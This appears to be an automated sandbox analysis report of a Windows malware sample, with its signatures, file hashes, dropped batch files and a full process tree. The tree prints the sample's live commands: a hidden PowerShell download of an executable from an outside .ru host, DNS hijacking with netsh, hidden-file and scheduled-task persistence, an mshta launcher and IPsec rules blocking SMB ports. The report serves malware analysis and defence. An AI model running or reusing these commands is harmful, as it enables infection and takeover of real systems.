Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    26/05/2024, 02:56

General

  • Target
    741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
  • Size 257KB
  • Sample240526-dffwssdb75
  • SHA256 28e1b6cf6980b009867b8919f68f41203e6796e1f95c3f82c17cf1c5d8ac5b68
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://down.ctosus.ru/wget.exe

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets file to hidden 1 TTPs 6 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Drops file in Windows directory 30 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\741f83e8cec69b1fe32dc48eb147e6cd_JaffaCakes118.exe"
    1⤵
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1500
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Windows\debug\SYSTEM\start.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2352
      • C:\Windows\SysWOW64\netsh.exe
        netsh interface ip set dns ▒╛╡╪┴¼╜╙ static 114.114.114.114
        3⤵
          PID:2744
        • C:\Windows\SysWOW64\netsh.exe
          netsh interface ip set dns ▒╛╡╪┴¼╜╙1 static 114.114.114.114
          3⤵
            PID:2904
          • C:\Windows\SysWOW64\netsh.exe
            netsh interface ip set dns ▒╛╡╪┴¼╜╙2 static 114.114.114.114
            3⤵
              PID:2520
            • C:\Windows\SysWOW64\netsh.exe
              netsh interface ip set dns ▒╛╡╪┴¼╜╙3 static 114.114.114.114
              3⤵
                PID:2740
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill -f /im svshost.exe
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2536
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill -f /im svshosb.exe
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2528
              • C:\Windows\SysWOW64\attrib.exe
                attrib -S -H C:\ProgramData\Microsoft\test\*
                3⤵
                • Views/modifies file attributes
                PID:2588
              • C:\Windows\SysWOW64\attrib.exe
                attrib -S -H C:\Windows\debug\SYSTEM\*
                3⤵
                • Drops file in Windows directory
                • Views/modifies file attributes
                PID:2680
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /F /create /ru system /sc HOURLY /mo 12 /tn SYSTEM /tr C:\ProgramData\Microsoft\test\down.bat
                3⤵
                • Creates scheduled task(s)
                PID:2140
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /F /create /ru system /sc HOURLY /mo 1 /tn DNS /tr C:\ProgramData\Microsoft\test\open.bat
                3⤵
                • Creates scheduled task(s)
                PID:2688
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\ProgramData\Microsoft\test
                3⤵
                • Sets file to hidden
                • Views/modifies file attributes
                PID:2836
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\ProgramData\Microsoft\test\*
                3⤵
                • Sets file to hidden
                • Views/modifies file attributes
                PID:2848
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\Windows\Tasks\hook
                3⤵
                • Sets file to hidden
                • Drops file in Windows directory
                • Views/modifies file attributes
                PID:2960
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\ProgramData\Microsoft\test\down.bat
                3⤵
                • Sets file to hidden
                • Views/modifies file attributes
                PID:2176
              • C:\Windows\SysWOW64\attrib.exe
                attrib +S +H C:\ProgramData\Microsoft\test\open.bat
                3⤵
                • Sets file to hidden
                • Views/modifies file attributes
                PID:1608
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://down.ctosus.ru/wget.exe','wget.exe');
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2948
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /K start2.bat
                3⤵
                  PID:1192
                  • C:\Windows\SysWOW64\attrib.exe
                    attrib +S +H C:\Windows\debug\SYSTEM
                    4⤵
                    • Sets file to hidden
                    • Drops file in Windows directory
                    • Views/modifies file attributes
                    PID:1132
                  • C:\Windows\SysWOW64\mshta.exe
                    mshta vbscript:createobject("wscript.shell").run("""install3.bat"" h",0)(window.close)
                    4⤵
                    • Modifies Internet Explorer settings
                    PID:628
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c ""C:\Windows\debug\SYSTEM\install3.bat" h"
                      5⤵
                        PID:2488
                        • C:\Windows\SysWOW64\sc.exe
                          SC QUERY ipserces
                          6⤵
                          • Launches sc.exe
                          PID:800
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh ipsec static add policy name=win
                          6⤵
                            PID:1680
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh ipsec static add filterlist name=Allowlist
                            6⤵
                              PID:2092
                            • C:\Windows\SysWOW64\netsh.exe
                              netsh ipsec static add filterlist name=denylist
                              6⤵
                                PID:2264
                              • C:\Windows\SysWOW64\netsh.exe
                                netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
                                6⤵
                                  PID:2060
                                • C:\Windows\SysWOW64\netsh.exe
                                  netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
                                  6⤵
                                    PID:2496
                                  • C:\Windows\SysWOW64\netsh.exe
                                    netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
                                    6⤵
                                      PID:320
                                    • C:\Windows\SysWOW64\netsh.exe
                                      netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
                                      6⤵
                                        PID:1060
                                      • C:\Windows\SysWOW64\netsh.exe
                                        netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
                                        6⤵
                                          PID:1748
                                        • C:\Windows\SysWOW64\netsh.exe
                                          netsh ipsec static add filteraction name=Allow action=permit
                                          6⤵
                                            PID:2964
                                          • C:\Windows\SysWOW64\netsh.exe
                                            netsh ipsec static add filteraction name=deny action=block
                                            6⤵
                                              PID:1876
                                            • C:\Windows\SysWOW64\netsh.exe
                                              netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
                                              6⤵
                                                PID:2332
                                              • C:\Windows\SysWOW64\netsh.exe
                                                netsh ipsec static set policy name=win assign=y
                                                6⤵
                                                  PID:852

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            down.bat

                                            • Path C:\Windows\debug\SYSTEM\down.bat
                                            • Size 1KB
                                            • SHA256 0878c3fa76769414b9ea961fc57fea63df7994080114bfe5d0e4980dd741d522
                                            • MD5 SHA1 SHA512

                                            hosts

                                            • Path C:\Windows\debug\SYSTEM\hosts
                                            • Size 1KB
                                            • SHA256 bea588292363bdaddd7964235da7fce900bcf83febee041909b8bae59bdf0490
                                            • MD5 SHA1 SHA512

                                            install3.bat

                                            • Path C:\Windows\debug\SYSTEM\install3.bat
                                            • Size 1KB
                                            • SHA256 48cf7b45778212319ec4725b33c61478020625d87b89420e74739505f6178570
                                            • MD5 SHA1 SHA512

                                            open.bat

                                            • Path C:\Windows\debug\SYSTEM\open.bat
                                            • Size 699B
                                            • SHA256 2f9e7abc4583e6214de3a7b2834f6e47cd84d472eb7404d5ee31248e42d0c04d
                                            • MD5 SHA1 SHA512

                                            qc.bat

                                            • Path C:\Windows\debug\SYSTEM\qc.bat
                                            • Size 1KB
                                            • SHA256 976a4ee812dd888062b32f1a17177ce501ab918b9d9189c8cb9ced13161772b9
                                            • MD5 SHA1 SHA512

                                            settings

                                            • Path C:\Windows\debug\SYSTEM\settings
                                            • Size 479B
                                            • SHA256 1453103c177734f5e9387e4930559df050ea5049dadba447b344c5d94661a524
                                            • MD5 SHA1 SHA512

                                            start.bat

                                            • Path C:\Windows\debug\SYSTEM\start.bat
                                            • Size 1KB
                                            • SHA256 c6b7fba230db87296373b01eaf3b3f0c026985ff22ce0eaa3e4b8ed65086b3f2
                                            • MD5 SHA1 SHA512

                                            start2.bat

                                            • Path C:\Windows\debug\SYSTEM\start2.bat
                                            • Size 605B
                                            • SHA256 47c6c38e8edb6e37fdc9d920bcd847da3bb7c51facda3a04eaff30b78177d316
                                            • MD5 SHA1 SHA512